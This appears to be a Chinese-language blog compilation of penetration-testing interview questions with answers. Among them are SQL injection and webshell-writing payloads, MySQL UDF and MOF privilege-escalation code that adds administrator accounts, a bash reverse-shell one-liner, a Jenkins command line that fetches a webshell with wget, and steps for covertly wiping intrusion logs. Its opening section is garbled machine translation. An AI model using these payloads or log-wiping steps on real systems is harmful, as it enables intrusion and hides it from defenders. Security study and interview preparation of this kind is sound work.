2024最新最全【网络安全/渗透测试】面试题汇总

2024最新最全【网络安全/渗透测试】面试题汇总
思路流程 信息收集漏洞挖掘漏洞利用&权限提升清除测试数据&输出报告复测 问题深信服一面:SQL注入防护为什么参数化查询可以防止sql注入SQL头注入点盲注是什么?怎么盲注&#

思想的流动

信息收集漏洞挖掘漏洞利用权限升级清除测试数据输出报告重新测试问题令人信服的方面: SQL注入保护为什么参数化查询可以防止SQL注入? 什么是盲注?宽咬合注射的原理及根本原因

原理、编码在哪里、根本原因、解决办法、SQL中如何使用only update、SQL中如何写shell/单引号被过滤时怎么办

mysql网站注入如何替换空格,5.0及以上和5.0及以下XSS有什么区别?

XSS原理

反射DOM 类型与反射DOM 类型的区别

CSRF原理防御Token和Referrer相比,哪个安全级别更高?我应该如何验证引用者?如果是,如何防止令牌特定问题?测试SSRF 时应该注意什么?

检测SSRF漏洞源码防御绕过上传

文件上传漏洞原理常见上传绕过方法检查保护上传点元素的重要性是什么?

该原理允许XXE逻辑漏洞包含在文件所包含的函数本地文件中。

金融行业常见逻辑漏洞溢出中间人攻击

ARP欺骗

原理: 防护DDOS

DDos原理

syn torrent原理CC攻击原理DDOS防护提权

MySQL 提权的两种方法

Mysql_UDF 提权Mysql mof 提权特殊漏洞

Struts2-045Redis未授权访问

原因:MongoDB越权访问修复Jenkins越权访问的条件和方法

保护Memcache 免遭未经授权的访问

利用漏洞加固FFMPEG本地文件读取漏洞

原理安全知识

网络

Web开发常用JAVA框架起源策略Jsonp安全攻防技术,如何写一个Jsonp攻击页面?

安全攻防内容攻击页面包含Jsonp PHP

与PHP 命令执行相关的功能绕过了PHP 在安全模式下的禁用功能。 PHP弱类型数据库

系统各种数据库文件的存储位置

侵入Linux服务器后应该通过哪些方式清除日志?Linux

检查当前端口连接的命令是什么? netstat 和ss 命令有哪些区别、优点和缺点? 哪些shell 最受欢迎? 在/proc 目录中可以找到哪些信息?在Linux 系统上,如何从安全角度使用这些信息来检测配置文件中的配置项?如何在Windows上用一条命令显示文件的最后100行内容

如何增强域环境中的Windows 桌面工作体验?请告诉我您的想法。 加密

AES/DES具体工作说明RSA算法分组密码加密模式如何生成安全随机数?SSL握手过程中对称加密和非对称加密有何区别,TCP/IP有何用途?

TCP三次握手过程及其相应的状态转换。 https建立过程。

Wireshark 的简单过滤规则防火墙

简要介绍路由器、交换机、防火墙和其他网络设备中常用的一些基本配置增强功能和方法。

思路流程

信息收集

XSS 是一种在用户提交的数据中构造并执行代码以执行窃取用户信息等攻击的攻击。如何修复:转义字符实体、仅使用HTTP 来阻止JavaScript 读取cookie 值、验证输入以及在浏览器和Web 应用程序中使用相同的字符编码。

CSRF是一种跨站请求伪造攻击,XSS是实现CSRF的众多方式之一,因为无法验证用户在执行击键时是否自愿发起。修复方法:过滤掉需要防范CSRF的页面,嵌入token,再次输入密码,确认Referer XXE是XML外部实体注入攻击。 XML 允许您通过调用实体来请求本地或远程内容。这类似于远程文件保护,并会带来相关的安全问题,例如读取敏感文件。修复:XML 解析库严格禁止在调用时解析外部实体。

35. CSRF、SSRF和重放攻击有什么区别?

CSRF是客户端发起的跨站请求伪造攻击。 SSRF是服务器发起的服务器端请求伪造。重放攻击是指对截获的数据包进行重放,以达到身份认证或其他目的。

36. 列出至少三个业务逻辑漏洞以及如何修复它们。

存在密码获取漏洞

1)密码可以进行暴力破解。

2)有通用搜索凭证。

3) 您可以跳过验证步骤。

4)为获取凭证,拦截并取回包裹。

使用制造商提供的密码搜索功能获取密码。 最常见的身份验证漏洞是:

1)会话固定攻击

2) Cookie 伪造

只要你有会话或cookie,你就可以伪造用户的身份。 验证码存在漏洞

1)可通过验证码暴力破解

2) 验证代码可以通过JavaScript 或包更改绕过。

37、请圈出并标出下列对话中可能出现的问题。

获取/ecskins/demo.jsp?uid=2016031900keyword=”hello world” HTTP/1.1Host:com:82User-Agent:Mozilla/5.0 Firefox/40Accept:text/css,/;q=0.1 Accept-Language:zh-CN;zh;q=0.8; -US;q=0.5,en;q=0.3 Referer:http://****.com/eciop/orderForCC/cgtListForCC.htm?zone=11370601v=145902 Cookie:myguid1234567890=1349db5fe50c372c3d995709f54c273d; uniquerid=session_OGRMIFIYJHAH5_HZRQOZAMHJ; st_uid=N90PLYHLZGJXI-NX01VPUF46W;真实连接:

如果您具有写入权限,则可以使用INTO OUTFILE 创建联接查询语句并将查询输出重定向以写入WebShell。原理与上面相同。直接获取shell,创建协同查询语句获取网站管理员账号和密码,扫描后台,登录后台,修改包,后台上传shell即可进行。并上传。

38. 对于网站,假设获得书面许可,如何进行渗透测试?

39.如何注入sqlmap,注入点? 1)对于get模型,直接使用sqlmap -u“如点URL”。 2) 对于dot 等post 类型,可以使用sqlmap -u \’injection dot URL\’ –data=\”postparameters.\” 3) 对于cookies,

40.nmap,一些扫描方法

41. SQL注入有哪些类型? 1) 错误注入2) 布尔注入3) 惰性注入4) 宽字节注入42. 错误注入的作用是什么? 10 1) 和extractvalue(1, concat(0x7e,(select @@version),0x7e))]]] 2) 由于下限错误而截断3)+和updatexml(1, concat(0x7e,(secect @@version) ) ,0x7e),1) 4).geometrycollection()从id=1 的测试中选择,geometrycollection((selectfrom(selectfrom(select user())a)b)); 5).multipoint()从id=1 的测试中选择=1=1 和multipoint((select from(select from(select user())a)b)); 6).polygon()select from test where id=1 and Polygon((select from(select from(select user) () )a)b)); 7).multipolygon()从测试中选择,其中id=1 和multipolygon((select from(select from(select user())b)); 8).linestring() 从测试中选择where id=1 and linestring((select from(select from(select user())a)b)); 9).multilinestring()select from test where id=1 and multilinestring((select from(select from (select ( )) a)b)); 10).exp()从测试中选择,其中id=1 和exp(~(select * from(select user())a));

43、如何判断延迟注射? if(ascii(substr(“你好”, 1, 1))=104, 睡眠(5), 1)

44、盲注和延迟注射有什么共同点?都是由性格决定的。

45. 如何在dedecms中直接在后台上传、编辑模板、编写SQL注入和文件、运行命令、运行代码、脚本文件有一些公开的cms漏洞,例如例如创建漏洞的能力,例如包含脚本文件zip 包的WordPress 上传插件。

46.SQL注入和文件写入功能有哪些?为输出文件“路径”选择“一句话”。转储文件“路径”选择“一句话”。选择转储文件“d:\\wwwroot\\baidu.com\\nvhack.php”的“”。

47. 如何防范CSRF? 1. 验证referrer 2. 验证token 更多信息:CNode:Node.js 专业中文社区

48、owasp有哪些漏洞? 1. SQL注入防护方式: 2. 身份验证和会话管理失败3. 跨站脚本攻击XSS 4. 直接引用不安全对象5. 安全配置错误6. 敏感信息泄露7. 缺乏功能级访问控制8、跨站请求伪造CSRF 9. 使用具有已知漏洞的组件10. 未经验证的重定向和转发

49. 如何防范SQL注入? 1. 使用安全的API 2. 对输入的特殊字符进行转义3. 使用白名单标准化输入验证方法4. 控制客户端输入,输入与SQL注入相关的特殊字符5. 在服务器的数据库中对特殊字符进行过滤、转义、替换和删除端SQL 查询。

50、代码执行、文件读取、命令执行的作用是什么?

1)执行代码:

eval,preg_replace+/e,断言,call_user_func,call_user_func_array,create_function

2)读取文件:

file_get_contents()、highlight_file()、fopen()、读取

file()、fread()、fgetss()、fgets()、parse_ini_file()、show_source()、file()等3) 命令执行:

系统(),执行(),shell_exec(),passthru(),pcntl_exec(),popen(),proc_open()

51.除了img标签的onerror属性之外,还有没有办法获取admin路径? src指定远程脚本文件来获取referrer。

52. 除了img标签的onerror属性外,src属性的后缀名必须以.jpg结尾。 如何获得管理员通行证。

1)通过修改Apache配置文件,配置远程服务器以php方式解析.jpg文件。 AddType application/x-httpd-php .jpg img src=http://xss.tv/1.jpg 以php方式解析。

53、为什么aspx木马比asp有更多的权限?

aspx 使用.net 技术。 IIS默认不支持它,ASP只是一种脚本语言。当受到攻击时,ASP 木马通常具有来宾权限。 APSX木马具有普通用户权限。

54. 如何绕过WAF?

大小写转换方法干扰字符/*!*/encoding base64 unicode hex url ascll 复合参数

55.如何编写web shell到服务器?

mysql各种上传漏洞

写入权限,用sql语句写入shellhttp put方法
56、渗透测试中常见的端口

1,web类(web漏洞/敏感目录) 第三方通用组件漏洞struts thinkphp jboss ganglia zabbix

80 web
80-89 web
8000-9090 web

2,数据库类(扫描弱口令)

1433 MSSQL
1521 Oracle
3306 MySQL
5432 PostgreSQL

3,特殊服务类(未授权/命令执行类/漏洞)

443 SSL心脏滴血
873 Rsync未授权
5984 CouchDB http://xxx:5984/_utils/
6379 redis未授权
7001,7002 WebLogic默认弱口令,反序列
9200,9300 elasticsearch 参考WooYun: 多玩某服务器ElasticSearch命令执行漏洞
11211 memcache未授权访问
27017,27018 Mongodb未授权访问
50000 SAP命令执行
50070,50030 hadoop默认端口未授权访问

4,常用端口类(扫描弱口令/端口爆破)

21 ftp
22 SSH
23 Telnet
2601,2604 zebra路由,默认密码zebra
3389 远程桌面

端口合计详情

21 ftp
22 SSH
23 Telnet
80 web
80-89 web
161 SNMP
389 LDAP
443 SSL心脏滴血以及一些web漏洞测试
445 SMB
512,513,514 Rexec
873 Rsync未授权
1025,111 NFS
1433 MSSQL
1521 Oracle:(iSqlPlus Port:5560,7778)
2082/2083 cpanel主机管理系统登陆 (国外用较多)
2222 DA虚拟主机管理系统登陆 (国外用较多)
2601,2604 zebra路由,默认密码zebra
3128 squid代理默认端口,如果没设置口令很可能就直接漫游内网了
3306 MySQL
3312/3311 kangle主机管理系统登陆
3389 远程桌面
4440 rundeck 参考WooYun: 借用新浪某服务成功漫游新浪内网
5432 PostgreSQL
5900 vnc
5984 CouchDB http://xxx:5984/_utils/
6082 varnish 参考WooYun: Varnish HTTP accelerator CLI 未授权访问易导致网站被直接篡改或者作为代理进入内网
6379 redis未授权
7001,7002 WebLogic默认弱口令,反序列
7778 Kloxo主机控制面板登录
8000-9090 都是一些常见的web端口,有些运维喜欢把管理后台开在这些非80的端口上
8080 tomcat/WDCP主机管理系统,默认弱口令
8080,8089,9090 JBOSS
8083 Vestacp主机管理系统 (国外用较多)
8649 ganglia
8888 amh/LuManager 主机管理系统默认端口
9200,9300 elasticsearch 参考WooYun: 多玩某服务器ElasticSearch命令执行漏洞
10000 Virtualmin/Webmin 服务器虚拟主机管理系统
11211 memcache未授权访问
27017,27018 Mongodb未授权访问
28017 mongodb统计页面
50000 SAP命令执行
50070,50030 hadoop默认端口未授权访问

深信服一面:

了解哪些漏洞文件上传有哪些防护方式用什么扫描端口,目录如何判断注入注入有防护怎么办有没有写过tamper3306 1443 8080是什么端口计算机网络从物理层到应用层xxxx有没有web服务开发经验如何向服务器写入webshell有没有用过xss平台网站渗透的流程mysql两种提权方式(udf,?)常见加密方式xxxddos如何防护有没有抓过包,会不会写wireshark过滤规则清理日志要清理哪些

SQL注入防护

1、使用安全的API 2、对输入的特殊字符进行Escape转义处理 3、使用白名单来规范化输入验证方法 4、对客户端输入进行控制,不允许输入SQL注入相关的特殊字符 5、服务器端在提交数据库进行SQL查询之前,对特殊字符进行过滤、转义、替换、删除。 \\6. 规范编码,字符集

为什么参数化查询可以防止sql注入

原理:

使用参数化查询数据库服务器不会把参数的内容当作sql指令的一部分来执行,是在数据库完成sql指令的编译后才套用参数运行

简单的说: 参数化能防注入的原因在于,语句是语句,参数是参数,参数的值并不是语句的一部分,数据库只按语句的语义跑

SQL头注入点

UA
REFERER
COOKIE
IP

盲注是什么?怎么盲注?

盲注是在SQL注入攻击过程中,服务器关闭了错误回显,我们单纯通过服务器返回内容的变化来判断是否存在SQL注入和利用的方式。盲注的手段有两种,一个是通过页面的返回内容是否正确(boolean-based),来验证是否存在注入。一个是通过sql语句处理时间的不同来判断是否存在注入(time-based),在这里,可以用benchmark,sleep等造成延时效果的函数,也可以通过构造大笛卡儿积的联合查询表来达到延时的目的。

宽字节注入产生原理以及根本原因

产生原理

在数据库使用了宽字符集而WEB中没考虑这个问题的情况下,在WEB层,由于0XBF27是两个字符,在PHP中比如addslash和magic_quotes_gpc开启时,由于会对0x27单引号进行转义,因此0xbf27会变成0xbf5c27,而数据进入数据库中时,由于0XBF5C是一个另外的字符,因此\\转义符号会被前面的bf带着\”吃掉\”,单引号由此逃逸出来可以用来闭合语句。

在哪里编码
根本原因

character_set_client(客户端的字符集)和character_set_connection(连接层的字符集)不同,或转换函数如,iconv、mb_convert_encoding使用不当。

解决办法

统一数据库、Web应用、操作系统所使用的字符集,避免解析产生差异,最好都设置为UTF-8。 或对数据进行正确的转义,如mysql_real_escape_string+mysql_set_charset的使用。

sql里面只有update怎么利用

先理解这句 SQL

UPDATE user SET password=\’MD5($password)\’, homepage=\’$homepage\’ WHERE id=\’$id\’

如果此 SQL 被修改成以下形式,就实现了注入

1:修改 homepage 值为http://xxx.net\’, userlevel=\’3

之后 SQL 语句变为

UPDATE user SET password=\’mypass\’, homepage=\’http://xxx.net\’, userlevel=\’3\’ WHERE id=\’$id\’

userlevel 为用户级别

2:修改 password 值为mypass)\’ WHERE username=\’admin\’#

之后 SQL 语句变为

UPDATE user SET password=\’MD5(mypass)\’ WHERE username=\’admin\’#)\’, homepage=\’$homepage\’ WHERE id=\’$id\’

3:修改 id 值为\’ OR username=\’admin\’ 之后 SQL 语句变为

UPDATE user SET password=\’MD5($password)\’, homepage=\’$homepage\’ WHERE id=\’\’ OR username=\’admin\’

sql如何写shell/单引号被过滤怎么办

写shell: root权限,GPC关闭,知道文件路径 outfile函数

`http://127.0.0.1:81/sqli.php?id=1 into outfile \’C:\\\\wamp64\\\\www\\\\phpinfo.php\’ FIELDS TERMINATED BY \'<?php phpinfo(); ?>\’`
`http://127.0.0.1:81/sqli.php?id=-1 union select 1,0x3c3f70687020706870696e666f28293b203f3e,3,4 into outfile \’C:\\\\wamp64\\\\www\\\\phpinfo.php\’`

宽字节注入

代替空格的方法

%0a、%0b、%a0 等 /**/ 等注释符 <>

mysql的网站注入,5.0以上和5.0以下有什么区别?

5.0以下没有information_schema这个系统表,无法列表名等,只能暴力跑表名。

5.0以下是多用户单操作,5.0以上是多用户多操做。

XSS

XSS原理

反射型

用户提交的数据中可以构造代码来执行,从而实现窃取用户信息等攻击。 需要诱使用户“点击”一个恶意链接,才能攻击成功

储存型

存储型XSS会把用户输入的数据“存储”在服务器端。 这种XSS具有很强的稳定性。

DOM型

通过修改页面的DOM节点形成的XSS,称之为DOM Based XSS。

DOM型和反射型的区别

反射型XSS:通过诱导用户点击,我们构造好的恶意payload才会触发的XSS。 反射型XSS的检测我们在每次请求带payload的链接时页面应该是会带有特定的畸形数据的。 DOM型:通过修改页面的DOM节点形成的XSS。 DOM-based XSS由于是通过js代码进行dom操作产生的XSS,所以在请求的响应中我们甚至不一定会得到相应的畸形数据。 根本区别在我看来是输出点的不同。

DOM型XSS 自动化测试或人工测试

人工测试思路:找到类似document.write、innerHTML赋值、outterHTML赋值、window.location操作、写javascript:后内容、eval、setTimeout 、setInterval 等直接执行之类的函数点。找到其变量,回溯变量来源观察是否可控,是否经过安全函数。 自动化测试参看道哥的博客,思路是从输入入手,观察变量传递的过程,最终检查是否有在危险函数输出,中途是否有经过安全函数。但是这样就需要有一个javascript解析器,否则会漏掉一些通过js执行带入的部分内容。

在回答这段问题的时候,由于平时对客户的检测中,基本是凭借不同功能点的功能加上经验和直觉来进行检测,对不同类型的XSS检测方式实际上并没有太过细分的标准化检测方式,所以回答的很烂。。。

如何快速发现xss位置

对于XSS怎么修补建议

输入点检查:对用户输入的数据进行合法性检查,使用filter过滤敏感字符或对进行编码转义,针对特定类型数据进行格式检查。针对输入点的检查最好放在服务器端实现。

输出点检查:对变量输出到HTML页面中时,对输出内容进行编码转义,输出在HTML中时,对其进行HTMLEncode,如果输出在Javascript脚本中时,对其进行JavascriptEncode。 对使用JavascriptEncode的变量都放在引号中并转义危险字符,data部分就无法逃逸出引号外成为code的一部分。还可以使用更加严格的方法,对所有数字字母之外的字符都使用十六进制编码。此外,要注意在浏览器中,HTML的解析会优先于Javascript的解析,编码的方式也需要考虑清楚,针对不同的输出点,我们防御XSS的方法可能会不同,这点可能在之后的文章会做下总结。

除此之外,还有做HTTPOnly对Cookie劫持做限制。

XSS蠕虫的产生条件

正常情况下,一个是产生XSS点的页面不属于self页面,用户之间产生交互行为的页面,都可能造成XSS Worm的产生。不一定需要存储型XSS

CSRF

CSRF原理

CSRF是跨站请求伪造攻击,由客户端发起,是由于没有在关键操作执行时进行是否由用户自愿发起的确认

防御

验证Referer添加token

token和referer做横向对比,谁安全等级高?

token安全等级更高,因为并不是任何服务器都可以取得referer,如果从HTTPS跳到HTTP,也不会发送referer。并且FLASH一些版本中可以自定义referer。 但是token的话,要保证其足够随机且不可泄露。(不可预测性原则)

对referer的验证,从什么角度去做?如果做,怎么杜绝问题

对header中的referer的验证,一个是空referer,一个是referer过滤或者检测不完善。 为了杜绝这种问题,在验证的白名单中,正则规则应当写完善。

针对token,对token测试会注意哪方面内容,会对token的哪方面进行测试?

引用一段请教前辈的回答:

针对token的攻击,一是对它本身的攻击,重放测试一次性、分析加密规则、校验方式是否正确等,二是结合信息泄露漏洞对它的获取,结合着发起组合攻击
信息泄露有可能是缓存、日志、get,也有可能是利用跨站
很多跳转登录的都依赖token,有一个跳转漏洞加反射型跨站就可以组合成登录劫持了
另外也可以结合着其它业务来描述token的安全性及设计不好怎么被绕过比如抢红包业务之类的

SSRF

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)

SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。

检测

SSRF漏洞的验证方法:

1)因为SSRF漏洞是让服务器发送请求的安全漏洞,所以我们就可以通过抓包分析发送的请求是否是由服务器的发送的,从而来判断是否存在SSRF漏洞

2)在页面源码中查找访问的资源地址 ,如果该资源地址类型为 www.baidu.com/xxx.php?image=(地址)的就可能存在SSRF漏洞 4

SSRF漏洞的成因 防御 绕过

成因:模拟服务器对其他服务器资源进行请求,没有做合法性验证。 利用:构造恶意内网IP做探测,或者使用其余所支持的协议对其余服务进行攻击。 防御:禁止跳转,限制协议,内外网限制,URL限制。 绕过:使用不同协议,针对IP,IP格式的绕过,针对URL,恶意URL增添其他字符,@之类的。301跳转+dns rebindding。

上传

文件上传漏洞原理

由于程序员在对用户文件上传部分的控制不足或者处理缺陷,而导致用户可以越过其本身权限向服务器上传可执行的动态脚本文件

常见的上传绕过方式

前端js验证:禁用js/burp改包大小写双重后缀名过滤绕过 pphphp->php

防护

文件上传目录设置为不可执行使用白名单判断文件上传类型用随机数改写文件名和路径

审查上传点的元素有什么意义?

有些站点的上传文件类型的限制是在前端实现的,这时只要增加上传类型就能突破限制了。

文件包含

原理

引入一段用户能控制的脚本或代码,并让服务器端执行 (1)include()等函数通过动态变量的方式引入需要包含的文件; (2)用户能够控制该动态变量。

导致文件包含的函数

PHP:include(), include_once(), require(), re-quire_once(), fopen(), readfile(), … JSP/Servlet:ava.io.File(), java.io.Fil-eReader(), … ASP:include file, include virtual,

本地文件包含

能够打开并包含本地文件的漏洞,被称为本地文件包含漏洞

XXE

逻辑漏洞

金融行业常见逻辑漏洞

单针对金融业务的 主要是数据的篡改(涉及金融数据,或部分业务的判断数据),由竞争条件或者设计不当引起的薅羊毛,交易/订单信息泄露,水平越权对别人的账户查看或恶意操作,交易或业务步骤绕过。

溢出

中间人攻击

中间人攻击是一个(缺乏)相互认证的攻击;由于客户端与服务器之间在SSL握手的过程中缺乏相互认证而造成的漏洞

防御中间人攻击的方案通常基于一下几种技术

1.公钥基础建设PKI 使用PKI相互认证机制,客户端验证服务器,服务器验证客户端;上述两个例子中都是只验证服务器,这样就造成了SSL握手环节的漏洞,而如果使用相互认证的的话,基本可以更强力的相互认证

2.延迟测试

使用复杂加密哈希函数进行计算以造成数十秒的延迟;如果双方通常情况下都要花费20秒来计算,并且整个通讯花费了60秒计算才到达对方,这就能表明存在第三方中间人。

3.使用其他形式的密钥交换形式

ARP欺骗

原理:

每台主机都有一个ARP缓存表,缓存表中记录了IP地址与MAC地址的对应关系,而局域网数据传输依靠的是MAC地址。 在ARP缓存表机制存在一个缺陷,就是当请求主机收到ARP应答包后,不会去验证自己是否向对方主机发送过ARP请求包,就直接把这个返回包中的IP地址与MAC地址的对应关系保存进ARP缓存表中,如果原有相同IP对应关系,原有的则会被替换。这样攻击者就有了偷听主机传输的数据的可能

防护

1.在主机绑定网关MAC与IP地址为静态(默认为动态),命令:arp -s 网关IP 网关MAC

2.在网关绑定主机MAC与IP地址

3.使用ARP防火墙

DDOS

Ddos原理

利用合理的请求造成资源过载,导致服务不可用

syn洪流的原理

伪造大量的源IP地址,分别向服务器端发送大量的SYN包,此时服务器端会返回SYN/ACK包,因为源地址是伪造的,所以伪造的IP并不会应答,服务器端没有收到伪造IP的回应,会重试3~5次并且等待一个SYNTime(一般为30秒至2分钟),如果超时则丢弃这个连接。攻击者大量发送这种伪造源地址的SYN请求,服务器端将会消耗非常多的资源(CPU和内存)来处理这种半连接,同时还要不断地对这些IP进行SYN+ACK重试。最后的结果是服务器无暇理睬正常的连接请求,导致拒绝服务。

CC攻击原理

对一些消耗资源较大的应用页面不断发起正常的请求,以达到消耗服务端资源的目的。

DDOS防护

SYN Cookie/SYN Proxy、safereset等算法。SYN Cookie的主要思想是为每一个IP地址分配一个“Cookie”,并统计每个IP地址的访问频率。如果在短时间内收到大量的来自同一个IP地址的数据包,则认为受到攻击,之后来自这个IP地址的包将被丢弃。

提权

mysql两种提权方式

udf提权,mof提权

Mysql_UDF提权

要求: 1.目标系统是Windows(Win2000,XP,Win2003); 2.拥有MYSQL的某个用户账号,此账号必须有对mysql的insert和delete权限以创建和抛弃函数 3.有root账号密码 导出udf: MYSQL 5.1以上版本,必须要把udf.dll文件放到MYSQL安装目录下的lib\\plugin文件夹下才能创建自定义函数 可以再mysql里输入 select @@basedir show variables like ‘%plugins%’ 寻找mysql安装路径 提权:

使用SQL语句创建功能函数。语法:Create Function 函数名(函数名只能为下面列表中的其中之一)returns string soname ‘导出的DLL路径’;

create function cmdshell returns string soname ‘udf.dll’
select cmdshell(‘net user arsch arsch /add’);
select cmdshell(‘net localgroup administrators arsch /add’);
drop function cmdshell;

该目录默认是不存在的,这就需要我们使用webshell找到MYSQL的安装目录,并在安装目录下创建lib\\plugin文件夹,然后将udf.dll文件导出到该目录即可。

Mysql mof提权

#pragma namespace(\”\\\\\\\\.\\\\root\\\\subscription\”)
instance of __EventFilter as $EventFilter
{
EventNamespace = \”Root\\\\Cimv2\”;
Name = \”filtP2\”;
Query = \”Select * From __InstanceModificationEvent \”
\”Where TargetInstance Isa \\\”Win32_LocalTime\\\” \”
\”And TargetInstance.Second = 5\”;
QueryLanguage = \”WQL\”;
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = \”consPCSV2\”;
ScriptingEngine = \”JScript\”;
ScriptText =
\”var WSH = new ActiveXObject(\\\”WScript.Shell\\\”)\\nWSH.run(\\\”net.exe user waitalone waitalone.cn /add\\\”)\”;
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

其中的第18行的命令,上传前请自己更改。

2、执行load_file及into dumpfile把文件导出到正确的位置即可。

select load file(\’c:/wmpub/nullevt.mof\’) into dumpfile \’c:/windows/system32/wbem/mof/nullevt.mov\’

执行成功后,即可添加一个普通用户,然后你可以更改命令,再上传导出执行把用户提升到管理员权限,然后3389连接之就ok了。

特殊漏洞

Struts2-045

Redis未授权访问

产生原因

Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将 Redis 服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下可以利用 Redis 的相关方法,可以成功在 Redis 服务器上写入公钥,进而可以使用对应私钥直接登录目标服务器

利用条件和方法

条件:

redis服务以root账户运行redis无密码或弱密码进行认证redis监听在0.0.0.0公网上
方法:

通过 Redis 的 INFO 命令, 可以查看服务器相关的参数和敏感信息, 为攻击者的后续渗透做铺垫上传SSH公钥获得SSH登录权限通过crontab反弹shellslave主从模式利用

修复

密码验证降权运行限制ip/修改端口

Jenkins未授权访问

攻击者通过未授权访问进入脚本命令执行界面执行攻击指令

println \”ifconfig -a\”.execute().text 执行一些系统命令,利用wget下载webshell

MongoDB未授权访问

开启MongoDB服务时不添加任何参数时,默认是没有权限验证的,而且可以远程访问数据库,登录的用户可以通过默认端口无需密码对数据库进行增、删、改、查等任意高危操作。

防护

1、为MongoDB添加认证: 1)MongoDB启动时添加–auth参数 2)给MongoDB添加用户: use admin #使用admin库 db.addUser(“root”, “123456”) #添加用户名root密码123456的用户 db.auth(“root”,“123456”) #验证下是否添加成功,返回1说明成功 2、禁用HTTP和REST端口 MongoDB自身带有一个HTTP服务和并支持REST接口。在2.6以后这些接口默认是关闭的。mongoDB默认会使用默认端口监听web服务,一般不需要通过web方式进行远程管理,建议禁用。修改配置文件或在启动的时候选择–nohttpinterface 参数nohttpinterface=false 3、限制绑定IP 启动时加入参数 –bind_ip 127.0.0.1 或在/etc/mongodb.conf文件中添加以下内容: bind_ip = 127.0.0.1

Memcache未授权访问

Memcached是一套常用的key-value缓存系统,由于它本身没有权限控制模块,所以对公网开放的Memcache服务很容易被攻击者扫描发现,攻击者通过命令交互可直接读取Memcached中的敏感信息。

利用

1、登录机器执行netstat -an |more命令查看端口监听情况。回显0.0.0.0:11211表示在所有网卡进行监听,存在memcached未授权访问漏洞。

2、telnet 11211,或nc -vv 11211,提示连接成功表示漏洞存在

漏洞加固

1、设置memchached只允许本地访问2、禁止外网访问Memcached 11211端口3、编译时加上–enable-sasl,启用SASL认证

FFMPEG 本地文件读取漏洞

原理

通过调用加密API将payload加密放入一个会被执行的段字节中。但是具体回答工程中我只回答道了SSRF老洞,m3u8头,偏移量,加密。

安全知识

WEB

常用WEB开发JAVA框架

STRUTS,SPRING 常见的java框架漏洞 其实面试官问这个问题的时候我不太清楚他要问什么,我提到struts的045 048,java常见反序列化。 045 错误处理引入了ognl表达式 048 封装action的过程中有一步调用getstackvalue递归获取ognl表达式 反序列化 操作对象,通过手段引入。apache common的反射机制、readobject的重写,其实具体的我也记不清楚。。。然后这部分就结束了

同源策略

同源策略限制不同源对当前document的属性内容进行读取或设置。 不同源的区分:协议、域名、子域名、IP、端口,以上有不同时即不同源。

Jsonp安全攻防技术,怎么写Jsonp的攻击页面?

涉及到Jsonp的安全攻防内容

JSON劫持、Callback可定义、JSONP内容可定义、Content-type不为json。

攻击页面

JSON劫持,跨域劫持敏感信息,页面类似于

function wooyun(v){
alert(v.username);
}
</script>
<script src=\”http://js.login.360.cn/?o=sso&m=info&func=wooyun\”></script>

Content-type不正确情况下,JSONP和Callback内容可定义可造成XSS。 JSONP和FLASH及其他的利用参照知道创宇的JSONP安全攻防技术。

PHP

php中命令执行涉及到的函数

1,代码执行:eval()、assert()、popen()、system()、exec()、shell_exec()、passthru(),pcntl_exec(),call_user_func_array(),create_function() 2,文件读取:file_get_contents(),highlight_file(),fopen(),read file(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()等 3,命令执行:system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open()

安全模式下绕过php的disable fuction

DL函数,组件漏洞,环境变量。

PHP弱类型

== 在进行比较的时候,会先将字符串类型转化成相同,再比较

如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换成数值并且比较按照数值来进行

0e开头的字符串等于0

数据库

各种数据库文件存放的位置

mysql:/usr/local/mysql/data/ C:\\ProgramData\\MySQL\\MySQL Server 5.6\\Data\\ oracle:$ORACLE_BASE/oradata/$ORACLE_SID/

系统

如何清理日志

meterpreter: clearev

入侵 Linux 服务器后需要清除哪些日志?

web日志,如apache的access.log,error.log。 直接将日志清除过于明显,一般使用sed进行定向清除

e.g. sed -i -e ‘/192.169.1.1/d’

history命令的清除,也是对~/.bash_history进行定向清除

wtmp日志的清除,/var/log/wtmp

登录日志清除 /var/log/secure

LINUX

查看当前端口连接的命令有哪些?netstat 和 ss 命令的区别和优缺点

netstat -antp` `ss -l

ss的优势在于它能够显示更多更详细的有关TCP和连接状态的信息,而且比netstat更快速更高效。

反弹 shell 的常用命令?一般常反弹哪一种 shell?为什么?

bash -i>&/dev/tcp/x.x.x.x/4444 0>&1

通过Linux系统的/proc目录 ,能够获取到哪些信息,这些信息可以在安全上有哪些应用?

ls /proc

系统信息,硬件信息,内核版本,加载的模块,进程

linux系统中,检测哪些配置文件的配置项,能够提升SSH的安全性。

/etc/ssh/sshd___config iptables配置

如何一条命令查看文件内容最后一百行

tail -n 100 filename

Windows

如何加固一个域环境下的Windows桌面工作环境?请给出你的思路。

密码学

AES/DES的具体工作步骤
RSA算法

加密:

密文=明

E

m

o

d

N

密文=明文^EmodN

密文=明文EmodN RSA加密是对明文的E次方后除以N后求余数的过程

公钥=

(

E

,

N

)

公钥=(E,N)

公钥=(E,N) 解密:

明文=密

D

m

o

d

N

明文=密文^DmodN

明文=密文DmodN

私钥=

(

D

,

N

)

私钥=(D,N)

私钥=(D,N) 三个参数n,e1,e2

n是两个大质数p,q的积

分组密码的加密模式
如何生成一个安全的随机数?

引用之前一个学长的答案,可以通过一些物理系统生成随机数,如电压的波动、磁盘磁头读/写时的寻道时间、空中电磁波的噪声等。

SSL握手过程

